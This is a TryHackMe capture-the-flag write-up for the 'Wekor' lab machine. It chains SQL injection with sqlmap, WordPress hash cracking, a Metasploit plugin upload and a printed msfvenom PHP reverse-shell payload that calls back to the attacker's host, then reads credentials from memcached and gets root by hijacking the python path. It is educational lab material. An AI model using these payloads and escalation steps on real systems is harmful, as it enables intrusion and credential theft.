Wekor - Write-up - TryHackMe

Information

Room#

  • Name: Wekor
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: CTF challenge involving Sqli , WordPress , vhost enumeration and recognizing internal services ;)

Wekor

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S nmap sqlmap ffuf haiti metasploit john

Network enumeration#

Let's add a custom domain:

$ grep wekor /etc/hosts
10.10.129.101 wekor.thm

Port and service scan with nmap:

# Nmap 7.93 scan initiated Thu Nov 24 22:26:41 2022 as: nmap -sSVC -T4 -v -oA scans/nmap/wekor.thm -p- wekor.thm
Nmap scan report for wekor.thm (10.10.129.101)
Host is up (0.026s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 95c3ceaf07fae28e2904e4cd146a21b5 (RSA)
|   256 4d99b568afbb4e66ce7270e6e3f896a4 (ECDSA)
|_  256 0de57de81a12c0ddb7665e98345559f6 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 9 disallowed entries
| /workshop/ /root/ /lol/ /agent/ /feed /crawler /boot
|_/comingreallysoon /interesting
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 24 22:27:13 2022 -- 1 IP address (1 host up) scanned in 31.36 seconds

Web discovery#

There is a robots.txt file with uncommon paths: http://wekor.thm/robots.txt

User-agent: *
Disallow: /workshop/
Disallow: /root/
Disallow: /lol/
Disallow: /agent/
Disallow: /feed
Disallow: /crawler
Disallow: /boot
Disallow: /comingreallysoon
Disallow: /interesting

All paths give 404 except /comingreallysoon/.

Welcome Dear Client!

We've setup our latest website on /it-next, Please go check it out!

If you have any comments or suggestions, please tweet them to @faketwitteraccount!

Thanks a lot !

A demo website is available at http://wekor.thm/it-next/

Web exploitation - SQL injection#

On the cart page (http://wekor.thm/it-next/it_cart.php), there is a SQLi on the coupon field.

Just put a quote and you'll get this issue:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1

We could exploit it manually, error based is easy but sqlmap will be faster.

req.txt

POST /it-next/it_cart.php HTTP/1.1
Host: wekor.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://wekor.thm
Connection: close
Referer: http://wekor.thm/it-next/it_cart.php
Upgrade-Insecure-Requests: 1

coupon_code=A&apply_coupon=Apply+Coupon
$ sqlmap -X POST --dbms MySQL -p coupon_code -r $PWD/req.txt --dbs
...
available databases [6]:
[*] coupons
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] wordpress

$ sqlmap -X POST --dbms MySQL -p coupon_code -r $PWD/req.txt -D wordpress --tables
...
Database: wordpress
[12 tables]
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+

$ sqlmap -X POST --dbms MySQL -p coupon_code -r $PWD/req.txt -D wordpress -T wp_users --columns
...
Database: wordpress
Table: wp_users
[10 columns]
+---------------------+---------------------+
| Column              | Type                |
+---------------------+---------------------+
| display_name        | varchar(250)        |
| ID                  | bigint(20) unsigned |
| user_activation_key | varchar(255)        |
| user_email          | varchar(100)        |
| user_login          | varchar(60)         |
| user_nicename       | varchar(50)         |
| user_pass           | varchar(255)        |
| user_registered     | datetime            |
| user_status         | int(11)             |
| user_url            | varchar(100)        |
+---------------------+---------------------+

$ sqlmap -X POST --dbms MySQL -p coupon_code -r $PWD/req.txt -D wordpress -T wp_users -C user_login,user_pass --dump
...
Database: wordpress
Table: wp_users
[4 entries]
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| admin      | $P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx |
| wp_jeffrey | $P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx |
| wp_yura    | $P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx |
| wp_eagle   | $P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx |
+------------+------------------------------------+

Web enumeration - Virtual server#

If there is a wordpress, there must be a Wordpress installed elsewhere. Let's enumerate virtual hosts.

$ ffuf -u 'http://wekor.thm/' -H 'Host: FUZZ.wekor.thm' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -fc 404 -fs 23
...
site                    [Status: 200, Size: 143, Words: 27, Lines: 6, Duration: 24ms]

Let's add it in our host file.

$ grep wekor /etc/hosts
10.10.129.101 wekor.thm site.wekor.thm

Here is the message at http://site.wekor.thm/:

Hi there!

Nothing here for now, but there should be an amazing website here in about 2 weeks, SO DON'T FORGET TO COME BACK IN 2 WEEKS!

  • Jim

Let's find a some paths:

$ ffuf -u 'http://site.wekor.thm/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -mc all -fc 404 -fs 23
...
wordpress               [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 30ms]
server-status           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 29ms]

We found the wordpress: http://site.wekor.thm/wordpress/

Hash cracking#

Let's use haiti to identify the hash type.

Now let's crack them.

hashs.txt

admin:$P$BEDITED
wp_jeffrey:$P$BEDITED
wp_yura:$P$BEDITED
wp_eagle:$P$BEDITED
$ haiti '$P$BEDITED'
Wordpress ≥ v2.6.2 [HC: 400] [JtR: phpass]
Joomla ≥ v2.5.18 [HC: 400] [JtR: phpass]
PHPass' Portable Hash [HC: 400] [JtR: phpass]
$ john hashs.txt -w=/usr/share/wordlists/passwords/rockyou.txt --format=phpass
...
EDITED           (wp_jeffrey)
EDITED           (wp_eagle)
EDITED           (wp_yura)

The login page is at http://site.wekor.thm/wordpress/wp-login.php

We were not able to crack the admin password hash but by connecting to each account we can see wp_yura is also a wordpress admin.

Web exploitation - RCE#

With a wordpress admin account we could manually upload a PHP webshell or reverse shell in the theme editor but it will be faster to use MSF instead (note the exploit will try to upload a plugin instead).

msf6 exploit(unix/webapp/wp_admin_shell_upload) > info

       Name: WordPress Admin Shell Upload
     Module: exploit/unix/webapp/wp_admin_shell_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-02-21

Provided by:
  rastating

Available targets:
  Id  Name
  --  ----
  0   WordPress

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PASSWORD   EDITED           yes       The WordPress password to authenticate with
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     10.10.96.236     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /wordpress/      yes       The base path to the wordpress application
  USERNAME   wp_yura          yes       The WordPress username to authenticate with
  VHOST      site.wekor.thm   no        HTTP server virtual host

Payload information:

Description:
  This module will generate a plugin, pack the payload into it and
  upload it to a server running WordPress provided valid admin
  credentials are used.

In my case, it didn't work, the plugin was uploaded but wasn't activated.

msf6 exploit(unix/webapp/wp_admin_shell_upload) > run

[*] Started reverse TCP handler on 10.18.25.199:4444
[*] Authenticating with WordPress using wp_yura:soccer13...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[-] Failed to acquire the plugin upload nonce
[-] Exploit aborted due to failure: unexpected-reply: Failed to upload the payload
[*] Exploit completed, but no session was created.

So instead I started a handler with the same configuration:

msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  tun0             yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

But because MSF aborted before the end, the uploaded plugin is just a void skeleton.

<?php
/**
 * Plugin Name: stiYkxDMFj
 * Version: 9.1.30
 * Author: GFgIbQUrGj
 * Author URI: http://BpiljsYnyL.com
 * License: GPL2
 */
?>

So I'll have to generate a PHP reverse shell myself and edit the plugin.

$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.18.25.199 LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1113 bytes
/*<?php /**/ error_reporting(0); $ip = '10.18.25.199'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

After editing, activate it and receive the reverse shell.

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.18.25.199:4444
[*] Sending stage (39927 bytes) to 10.10.96.236
[*] Meterpreter session 1 opened (10.18.25.199:4444 -> 10.10.96.236:51206) at 2022-11-27 16:55:13 +0100

System exploitation - Finding a way to EoP#

Let's get some basic info:

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : osboxes
OS          : Linux osboxes 4.15.0-132-generic #136~16.04.1-Ubuntu SMP Tue Jan 12 18:18:45 UTC 2021 i686
Meterpreter : php/linux
meterpreter > cat /etc/os-release
NAME="Ubuntu"
VERSION="16.04.6 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.6 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

There is a user Orka but wa can't read the files (.bash_history or user.txt) in its home directory.

So we'll probably have to loot info elsewhere or exploit a service.

By listing processes, we can see there are tons of apache workers, a DE must be installed since there is Xorg and a DM (lightdm) running. But the promisign services for us are the following:

meterpreter > ps

Process List
============

 PID   Name                                                                         User      Path
 ---   ----                                                                         ----      ----
 ....
 697   /usr/sbin/cron                                                               root      /usr/sbin/cron -f
 968   /usr/bin/python                                                              root      /usr/bin/python /root/server.py
 969   /usr/bin/memcached                                                           memcache  /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1

Since it's not real life but a challenge, we brobably have to target memcache first, gain Orka user access then root.

Start a shell and upgrade to a partial TTY.

meterpreter > shell
Process 1996 created.
Channel 2 created.
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@osboxes:/var/www/html/site.wekor.thm/wordpress/wp-admin$

Elevation of privilege (EoP) - from www-data to Orka#

Then we can conbnect to the memcache server and enumerate info.

www-data@osboxes:/var/www/html/site.wekor.thm/wordpress/wp-admin$ telnet localhost 11211
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
version
VERSION 1.4.25 Ubuntu

There is 1 slab, let's dump it:

stats slabs
STAT 1:chunk_size 80
STAT 1:chunks_per_page 13107
STAT 1:total_pages 1
STAT 1:total_chunks 13107
STAT 1:used_chunks 5
STAT 1:free_chunks 13102
STAT 1:free_chunks_end 0
STAT 1:mem_requested 321
STAT 1:get_hits 0
STAT 1:cmd_set 105
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048560

stats cachedump 1 0
ITEM id [4 b; 1669561972 s]
ITEM email [14 b; 1669561972 s]
ITEM salary [8 b; 1669561972 s]
ITEM password [15 b; 1669561972 s]
ITEM username [4 b; 1669561972 s]

get id
VALUE id 0 4
3476
END

get email
VALUE email 0 14
Orka@wekor.thm
END

get username
VALUE username 0 4
Orka
END

get password
VALUE password 0 15
EDITED
END

So connect as Orka:

quit
Connection closed by foreign host.
www-data@osboxes:/var/www/html/site.wekor.thm/wordpress/wp-admin$ su Orka
Password:
Orka@osboxes:/var/www/html/site.wekor.thm/wordpress/wp-admin$ cd
Orka@osboxes:~$ id
uid=1001(Orka) gid=1001(Orka) groups=1001(Orka)

Elevation of privilege (EoP) - from www-data to root#

At least the way of EoP is straightforward.

Orka@osboxes:~$ sudo -l
[sudo] password for Orka:

Matching Defaults entries for Orka on osboxes:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User Orka may run the following commands on osboxes:
    (root) /home/Orka/Desktop/bitcoin

It's a executable we can execute or read but not write.

Orka@osboxes:~$ ls -lh /home/Orka/Desktop/bitcoin
-rwxr-xr-x 1 root root 7.6K Jan 23  2021 /home/Orka/Desktop/bitcoin

Orka@osboxes:~$ file /home/Orka/Desktop/bitcoin
/home/Orka/Desktop/bitcoin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8280915d0ebb7225ed63f226c15cee11ce960b6b, not stripped

The program is asking for a password and reflect the user input. Also it seems vulnerable to a buffer overflow.

Orka@osboxes:~$ /home/Orka/Desktop/bitcoin
Enter the password : x
x
Access Denied...

Orka@osboxes:~$ /home/Orka/Desktop/bitcoin
Enter the password : %s
%s
Access Denied...

Orka@osboxes:~$ /home/Orka/Desktop/bitcoin
Enter the password : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Access Denied...
Segmentation fault (core dumped)

By running strings we get the password that is password.

Orka@osboxes:~$ strings -d -n 6 /home/Orka/Desktop/bitcoin
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
sprintf
__isoc99_scanf
__stack_chk_fail
__ctype_b_loc
system
strcmp
__libc_start_main
__gmon_start__
GLIBC_2.3
GLIBC_2.7
GLIBC_2.4
GLIBC_2.0
Enter the password :
password
Access Denied...
Access Granted...
                        User Manual:
Maximum Amount Of BitCoins Possible To Transfer at a time : 9
Amounts with more than one number will be stripped off!
And Lastly, be careful, everything is logged :)
Amount Of BitCoins :
 Sorry, This is not a valid amount!
python /home/Orka/Desktop/transfer.py %c
;*2$",
Orka@osboxes:~/Desktop$ ./bitcoin
Enter the password : password
password
Access Granted...
                        User Manual:
Maximum Amount Of BitCoins Possible To Transfer at a time : 9
Amounts with more than one number will be stripped off!
And Lastly, be careful, everything is logged :)
Amount Of BitCoins : 5
Saving 5 BitCoin(s) For Later Use
Do you want to make a transfer? Y/N : Y
Transfering 5 BitCoin(s)
Transfer Completed Successfully...

Also we can see the program calls /home/Orka/Desktop/transfer.py at some point.

Orka@osboxes:~$ ls -lh /home/Orka/Desktop/transfer.py
-rwxr--r-- 1 root root 588 Jan 23  2021 /home/Orka/Desktop/transfer.py
import time
import socket
import sys
import os

result = sys.argv[1]

print "Saving " + result + " BitCoin(s) For Later Use "

test = raw_input("Do you want to make a transfer? Y/N : ")

if test == "Y":
        try:
                print "Transfering " + result + " BitCoin(s) "
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                connect = s.connect(("127.0.0.1",3010))
                s.send("Transfer : " + result + "To https://transfer.bitcoins.com")
                time.sleep(2.5)
                print ("Transfer Completed Successfully...")
                time.sleep(1)
                s.close()
        except:
                print("Error!")
else:
        print("Quitting...")
        time.sleep(1)

Listening on 127.0.0.1:3010 won't help us.

But what we can notice in python /home/Orka/Desktop/transfer.py %c is that transfer.py is called from an absolute path but python is not.

We also have wrtie access to /usr/sbin which takes precedence over /usr/bin.

Orka@osboxes:~/Desktop$ which python
/usr/bin/python
Orka@osboxes:~/Desktop$ ls -lh /usr/ | grep sbin
drwxrwxr-x   2 root Orka  12K Jan 23  2021 sbin
Orka@osboxes:~/Desktop$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

So we could hijack the relative path.

In some other context we could store our malicious python anywhere and not necessary in /usr/sbin, write anywhere (in /tmp, /dev/shm, /home/Orka, etc.), change our PATH and pass our PATH to sudo.

$ hackdir=$(mktemp -d)
$ echo '#!/bin/bash' > "$hackdir/python"
$ echo '/bin/bash' >> "$hackdir/python"
$ export PATH=$hackdir:$PATH
$ sudo -u root -E /home/Orka/Desktop/bitcoin
sudo: sorry, you are not allowed to preserve the environment

But here we can't since there is an env_reset and secure_path.

env_reset was exploitable until sudo 1.8.5 but we have a patched version.

Orka@osboxes:~/Desktop$ sudo --version
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16

So no way to bypass it, we have to use the intended write to /usr/sbin.

$ cp "$hackdir/python" /usr/sbin/
$ chmod +x /usr/sbin/python
$ sudo -u root /home/Orka/Desktop/bitcoin
Enter the password : password
Access Granted...
                        User Manual:
Maximum Amount Of BitCoins Possible To Transfer at a time : 9
Amounts with more than one number will be stripped off!
And Lastly, be careful, everything is logged :)
Amount Of BitCoins : 5
root@osboxes:~/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
root@osboxes:~# cat /root/root.txt
EDITED
Share